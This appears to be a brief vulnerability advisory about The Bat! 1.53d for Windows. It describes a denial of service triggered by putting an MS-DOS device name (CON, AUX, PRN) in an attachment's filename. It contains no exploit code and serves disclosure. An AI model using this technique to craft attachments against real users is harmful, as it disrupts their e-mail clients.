The Bat! is an e-mail client for Microsoft Windows operating systems.
A problem occurs with The Bat! when it is configured to save attachments seperately from the body of a message. It is possible to include a MS-DOS device name (such as CON, AUX, PRN, etc.) in the filename of the attachment to cause a denial of service to an e-mail client with this configuration.
This appears to be an issue with The Bat! version 1.53d. Earlier versions do not appear to be affected.
